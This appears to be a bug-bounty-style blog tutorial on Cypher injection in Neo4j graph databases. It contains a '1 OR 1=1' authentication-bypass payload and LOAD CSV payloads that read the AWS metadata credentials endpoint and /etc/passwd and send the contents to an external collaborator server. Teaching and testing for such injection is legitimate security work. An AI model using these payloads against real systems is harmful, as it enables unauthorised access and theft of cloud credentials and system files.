You have probably heard of sql injection which impacts relational databases and you may have heard of nosql injection(https://ghostlulz.com/nosql-injection/) which impacts nosql databases, but how do you perform these attacks on graph databases? There are several types of graph databases but in this blog we are going to be examining Neo4j which can be vulnerable to something called cypher injection.
Neo4j is one of the most popular graph databases out there. If you have taken a data structure course in college you might already be familiar with graphs, a graph database is very similar to that. A graph database stores nodes and relationships instead of tables and foreign keys.
Looking at the graph below you can see that things can get very completed when replicating the real world. Storing all this in a relational database such as mysql would require a lot of tables and complicated links to each other. However, graph databases were built for this type of thing.
Graph databases such a Neo4j use nodes to represent objects and these objects can have a label such as “person”. Looking at the image above we see several person nodes(robin,thomas, and ben). These nodes can have relationships to other nodes. For example the person node Thomas has the relation type “Knows” with Ben. We also see that Ben has a connection to the Football ball node. This type of database can get very complex very fast.
With mysql databases you have to use the sequel query language(SQL) to query the database. In Neo4j we use the cypher query language. Looking at the image below we can see that the query looks a bit different than your typical SQL query.
Here we are trying to build a query to see who Dan is in love with. To do that we need to find which node has the relationship type “Love” with the person node “Dan”.
Okay now you should have a slightly better understanding of how graph databases work.Let's look at the following query where a developer is making the fatal mistake of concatenating user supplied input with a database query:
MATCH (n) WHERE n.name = “admin” and n.password = {USER SUPPLIED INPUT} RETURN n LIMIT 0
In the above example we have the admins password being checked against the database to see if it is correct. Similar to SQL injection authentication bypasses we can use the follow query:
1 OR 1=1
This query will all result in true because 1 will always be equal to 1. The query with our malicious payload will look like the following:
MATCH (n) WHERE n.name = “admin” and n.password = 1 OR 1=1 RETURN n LIMIT 0
If you can call the “Load CSV From” function you can achieve SSRF by first loading an internal file or webpage and saving it to a variable then using another Load CSV From function to send it to your server.
LOAD CSV FROM 'http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS x LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+x[0] AS y
As you can see in the above payload we are first loading the contents of the AWS metadata API which stores AWS API keys. Next we are sending that to our server. You can also load local files as shown below:
LOAD CSV FROM 'file://etc/passwd' AS x LOAD CSV FROM 'http://XXX.burpcollaborator.net/'+x[0] AS y
As shown above we are loading the contents of the passwd file and sending that to our server.
When testing for injection vulnerabilities don't just look for SQL and NoSQL Injection also be on the lookout for Cypher Injection. Neo4j is one of the most popular graph databases out there so you are bound to come across this technology at some point. If you do notice the target is vulnerable to this exploit make sure to test for that SSRF technique to increase the impact of this finding.